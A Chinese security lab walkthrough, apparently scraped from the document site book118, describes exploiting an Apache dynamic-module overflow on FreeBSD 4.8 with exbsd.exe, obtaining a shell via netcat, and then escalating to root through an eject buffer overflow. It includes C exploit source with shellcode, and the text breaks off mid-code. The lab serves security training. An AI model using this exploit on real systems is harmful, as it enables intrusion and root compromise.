- 1、本文档共15页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
Apache动态模块溢出漏洞
向远程Apache 发送精心构造的数据包以引发Apache 动态模块的溢出漏洞,进而打开一个监听端口接收连接。用nc工具连接远程端口获得shell,本地提权后,上传篡改后的主页。
1.下载实验中使用的工具:远程溢出工具 exbsd.exe、NetCat 1.11 for Windows (网络瑞士军刀)、Tftpd Server。【说明】??远程溢出工具 exbsd.exe????向远程Apache 发送精心构造的数据包以引发Apache 动态模块的溢出漏洞,进而打开一个监听端口接收连接。??NetCat 1.11 for Windows (网络瑞士军刀) ????一款小巧精悍的网络实用工具,常用来进行远程shell连接或被动接收连接以提供shell通道,或者用来作为小巧的telnet客户端使用。??Tftpd Server????一款支持tftp协议的服务端工具,用以上传或下载文件(tftp 协议)。
实验步骤
访问目标主机的HTTP服务
步骤说明:
确保输入的协议及地址是正确的
1.打开浏览器,访问目标主机的 HTTP 服务,如:图1
图1
探测目标主机WEB服务信息
步骤说明:
输入 GET /abcdefg HTTP/1.0 并连续输入两次回车(Enter),可以从返回中获取服务器版本信息。命令中的 abcdefg 是任意字符串,是不存在的页面,会引起404错误。这么做的理由是 404错误的返回页面内容比较少,便于查看。
1.开启一个命令行窗口,用 nc.exe 程序连接目标主机的 80 端口命令格式:
nc.exe 目标IP 80
如:图2
图2
用 exbsd.exe 尝试远程溢出
步骤说明:
命令格式为 exbsd.exe -t 目标主机IP地址。
1.运行 exbsd.exe,如:图3
图3
注:
因apache服务为多进程服务,溢出程序可能需要尝试多次搜索地址空间,若失败,请多尝试几次。
溢出成功,用NetCat 连接
步骤说明:
命令格式为 nc.exe 目标主机IP地址 目标端口。
1.如:图4、图5,连接上以后,我们做如下操作:a). 用 id 命令看当前帐户信息,看到 uid=1001, gid=1001,是普通权限。b). 用 w 命令看当前有谁在线,看到两个远程登录连接。c). 用 pwd 命令看当前所在目录。d). 用 uname -a 看当前操作系统的信息,看到是 FreeBSD 4.8 Release 版本,未打补丁。e). 切换目录至 /tmp 下,准备编写提权程序。
图4
图5
提升权限
步骤说明:
FreeBSD 老版本上的 eject 程序存在缓冲区溢出漏洞,可被本地程序利用以提升权限。eject 程序具有suid 位,在有问题的版本中未对用户输入的参数进行有效检测,导致溢出后eip指向精心构造的shellcode 入口,进而提权成功。
1.编写提权代码,如:图6
图6
图中所用代码如下:
#include stdio.h#include stdlib.h#include string.h#include unistd.h#define BOF_LEN 1260extern char** environ;int main( void ) {char buf[BOF_LEN];char* ptr;char* arg[4];unsigned int ret = 0xbfbfeead;char shellcode[] = \xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89 \x43\x0c\x50\x8d\x53\x08\x52\x53\xb0\x3b\x50\xcd \x80\xe8\xe4\xff\xff\xff/bin/sh;char envshell[4096];memset( envshell, 0x90, 4096 );memcpy( envshell + 4096 - strlen( shellcode ), shellcode, strlen( shellcode ) );envshell[4096] = 0x0;memcpy( envshell, VULN=, 5 );putenv( envshell );memset( buf, 0x41, BOF_LEN - 1 );*(unsigned int *)(buf + BOF_LEN - 5) = ret;*(buf + BOF_LEN - 1) = 0x0;arg[0] = /usr/local/sbin/ej
文档评论(0)